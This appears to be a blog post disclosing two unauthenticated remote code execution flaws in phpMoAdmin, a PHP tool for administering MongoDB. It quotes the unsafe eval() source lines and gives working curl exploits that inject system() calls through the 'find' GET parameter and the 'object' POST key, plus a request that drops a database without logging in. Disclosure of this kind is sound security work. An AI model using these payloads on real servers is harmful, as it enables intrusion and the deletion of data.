Cross post: Also on Github.
A week ago I read a security alert at 'heise Security' . It's a German IT news site. The article was about someone is selling a Zero-Day-Exploit for phpMoAdmin. Here is another source in English. Because nobody has written an issue or a fix a week later I decided to write all the stuff down I figured out last week.
At least for the second bug I already found Metasploit scripts. So I decide to publish the exploits as well. Its already all over the Internet.
Well, the fact that there is a security hole and not what the hole is I got interested. I'm not using MongoDB and I am not so much into PHP, but a close look at the source and I found two suspects that might be a problem.
556: eval('$find = ' . $_GET['find'] . ';');
694: eval('$obj=' . $obj . ';');
The first is obviously risky, an eval
over a GET parameter. The second
could be, depends on $obj.
The first
272: class moadminModel {
000: ...
546: public function listRows($collection) {
547: foreach ($this->sort as $key => $val) { //cast vals to int
548: $sort[$key] = (int) $val;
549: }
550: $col = $this->mongo->selectCollection($collection);
551:
552: $find = array();
553: if (isset($_GET['find']) && $_GET['find']) {
554: $_GET['find'] = trim($_GET['find']);
555: if (strpos($_GET['find'], 'array') === 0) {
556: eval('$find = ' . $_GET['find'] . ';');
000: ...
For the first we need to call the listRows
function and can than inject
code in the $_GET['find']
key, but find must start with array
.
There seems only one way to call listRows
, and this is by setting the
GET key action
, supply a fake collection
and our manipulated find
key.
739: class moadminComponent {
000: ...
763: public function __construct() {
000: ...
837: if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {
838: $this->mongo[$action] = self::$model->$action($_GET['collection']);
000:
1978: $mo = new moadminComponent;
moadminComponent
is created at the beginning without login or session
check, so this makes it all too easy. We can run every shell command by
providing the right GET keys.
Exploit:
curl "http://localhost/phpmoadmin/moadmin.php?action=listRows&collection=0&find=array();system(%27whoami%27);exit;"
And the second?
693: public function saveObject($collection, $obj) {
691: eval('$obj=' . $obj . ';'); //cast from string to array
692: return $this->mongo->selectCollection($collection)->save($obj);
693: }
To exploit the second suspect we need run saveObject
. It seems to be
called only once, again in the constructor of moadminComponent
, and
the function parameter $obj
is a POST key, it could not be easier:
739: class moadminComponent {
000: ...
763: public function __construct() {
000: ...
788: if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
So with placing a code injection in POST key object
you can run any
shell command with PHP process rights. Again no login needed.
Exploit:
curl "http://localhost/phpmoadmin/moadmin.php" -d "object=0;system('whoami');exit"
Any other problems?
Many. Because the check for a valid session is too late you can play with many direct links. Like dropping databases you know or guess there name:
curl "http://localhost/phpmoadmin/moadmin.php?db=ANY_DB_NAME&action=dropDb"
Why bother writing a login system that only prevents you from looking at your page?!?
Solution
Too fix this issues you need more than a bug fix. First everyone should delete phpMoAdmin or add an extra layer of access control (i.e. .htaccess) and also only grant people access you would give a shell login.